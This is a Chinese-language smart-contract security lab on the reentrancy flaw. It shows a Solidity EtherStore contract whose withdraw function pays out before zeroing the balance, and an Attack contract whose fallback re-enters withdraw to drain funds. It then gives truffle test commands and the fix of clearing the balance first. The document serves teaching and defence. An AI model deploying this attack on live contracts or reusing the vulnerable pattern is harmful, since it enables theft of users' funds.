打开Ganache
vscode打开智能合约漏洞工程
合约内容
pragma solidity >=0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
emit Balance(balances[msg.sender]);
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1);
etherStore.deposit{value: 1}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
此智能合约存在“重入"即“Re-Entrance"问题,由于调用智能合约的转账操作需要通过打包后才会生效,可能出现重复提现从而使得其他合约账户被盗的问题
根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞
测试用例
truffle test test/ReEntrancy.js
执行命令复现智能合约漏洞
创建新的智能合约,修复其中问题,说明修复内容并测试。
主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账
使用同样的测试用例进行操作
truffle test test/ReEntrancyRepair.js